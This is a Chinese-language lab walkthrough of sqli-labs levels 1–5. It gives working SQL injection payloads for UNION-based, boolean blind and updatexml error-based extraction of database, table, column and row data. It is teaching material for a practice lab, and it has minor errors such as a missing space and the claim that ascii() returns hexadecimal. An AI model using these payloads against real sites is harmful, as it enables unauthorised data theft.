第1关、
进入后我们首先会看到这句话:
Please input the ID as parameter with numeric value(这句话的意思是需要我们传给他一个ID的值)
如图:
然后我们需要测试一下看看是否存在sql注入的风险 输入and 1=2看看页面是否发生变化输入回车后我们发现并没有发生变化可能我们的输入并没有被当作代码执行因此在这里我们可以尝试闭合输入?id=1 ' and 1=2 -- asd
注意-- 后面有个空格表示注释掉后面的语句且全是英文输入
输入后回车发现页面变得不正常了如图:
说明我们的语句被执行 可以进行SQL注入
然后下一步我们需要找它的字段数量 可以使用order by
输入的句子为?id=1 ' order by 加数字 -- asd
我们可以从1字段开始猜测发现当到4时页面显示Unknown column '4' in 'order clause'
如图:
说明最多有3个字段
下一步我们需要用到联合查询来获得库名
注意:我们id应当变成一个查询不到的数这样才能在页面上显示我们union后面所要查询的库名;且在select 后只能写三个内容因为我们通过前面的操作已知只有三个字段(联合查询的前提是前后字段相同)
输入?id=100 ' union select 1,database(),3 -- asd
回车如图:(database()
函数用于返回当前正在使用的数据库的名称)
然后我们便得到了这个页面的库名:security 下一步搞到表名
输入
?id=100 'union select 1,table_name,3 from information_schema.tables where table_schema='security'limit 0,1-- asd
以上代码只表示查询security库中的第一行表名
解析:(以上代码是用来查询在security库下的表名table_name
代表表名放在3的位置也可以information_schema
是自带的数据库information_schema.tables
整体表示在此数据库下的表,table_schema
表示库)
回车如图:
然后我们便得到了第一行的表名表名:emails
依次将limit后面改成1,1;2,1;3,1;便可查看第二、三、四个表名(最好不要使用group_concat()
函数进行查询可能会有有些名字显示不全)下一步可以获取每个表中的列名
输入:
?id=100 'union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails'limit 0,1-- asd
以上代码只表示查询emails表中的第一行列名
回车如图:(同理如果想要获得此表其它列可以改变limit后边的数值直到查询不到为止)
可以得到email表中的第一列为id 下一步可以获得在id列下的数据(同理也可以获得其它列下的数据)
输入:
?id=100' union select 1,id,3 from emails limit 0,1-- asd
以上代码只表示查询id列中的第一行数据
回车如图:(同理如果想要获得此列其它数据可以改变limit后边的数值直到查询不到为止)
第2关、
第二关和第一关的区别是不需要使用单引号进行闭合
其余操作一模一样
第3关、
当我们尝试不闭合还有单引号闭合两种方法时发现页面反馈给我们的时sql语法不正确也就是我们所注入的sql攻击语句是无法执行的,此时我们可以去看看此网页的源代码(可以直接在小皮的根目录里面找对应的关卡就可以找到)
如图:
由这行代码可知我们需要在原先单引号闭合的基础上加上单括号进行闭合
输入:
?id=1')and 1=2 -- asd
回车即可如图:(除加了一个单括号闭合外其他操作方法与第一关相同)
获取库名
及部分列名
数据如下图所示:
第4关、
我们可以去查看此页面对应的后端代码来确定如和来实现闭合
如图:
(注意:此段代码的'"'表示双引号只是它被一堆单引号给引起来了)
因此我们可以输入:
?id=1.") and 1=2 -- asd
回车如图
其它操作不变
第5关、
输入?id=1'and 1=2 -- asd
后页面不正常确定存在SQL注入时
当输入?id=100' union select 1,database(),3 -- asd
后发现页面并没有显示出我们想要的数据说明此关不存在显错位
方法1、
SQL盲注(可以利用bp工具进行爆破)
判断库名使用?id=1'and substr((select database()),1,1)='s'-- asd
如果正确页面显示正常错误则异常
and (select count(table_name) from information_Schema.tables where table_schema=database())=4
以上代码可通过大于小于快速锁定范围,查看库,查看库里表名数量
and (select length(table_name) from information_Schema.tables where table_schema=database() limit 0,1)=6
可以通过length()函数可以查看第一个表名的字符数长度为6,然后可以limit 一条条看名表字符长度(判断正误的方法是观察页面是否正常)
然后此刻我们知道表的长度及库名,我们可通过ascii函数转变为数字来判断,一个一个字符来确认表名 and ascii(substr((select table_name from information_Schema.tables where table_schema=database() limit 0,1),1,1))=101
这里可以确认第一个字符为,
substr(str,起始位,截取位数)截取函数,sacii(str)函数将单个字符转化为十六进制数字 可以逐个猜出库名
and ascii(substr((select column_name from information_Schema.columns where table_Schema=database() and table_name='xxx' limit 0,1),1,1))=105
xxx代表我们所1查出的表名
可以是emails
然后便可以得到列名
and ascii(substr((select xxx from xxx limit 0,1),1,1))=49
由上代码便可以得到数据 (第一个xxx是列名也就是第一个字段第二个xxx是表名可以是emails(库中的一个表))
使用ascii值的原因是它可以不受特殊字符的影响
方法2、
updatexml()
输入:(解析:updatexml()是一个用于修改XML数据的SQL函数 1 是XML中的路径,concat()用于将0x7e和selectdatabase()函数拼接起来,0x7e是十六进制表示~特殊符号会导致查询出错从而爆出数据 (0x7e也可使用其他符号代替但是需要加上单引号))
?id=1'and updatexml(1,concat(0x7e,(selectdatabase()),0x7e),1) -- asd
由以上代码我们可以得到数据库的名字:security
如图:
然后同理输入:
?id=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1) -- asd
可得第一行表名:emails
如图:
第三步获取列名
输入:
?id=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails'limit 0,1),0x7e),1) -- asd
回车可得第一行列名:id
如图:
最后一步获取数据
输入:
?id=1'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) -- asd
回车可得数据
如图:
(以上代码大致是将第一关的代码套入到updatexml()函数中如果代码看不懂可以去第一关看相关解析)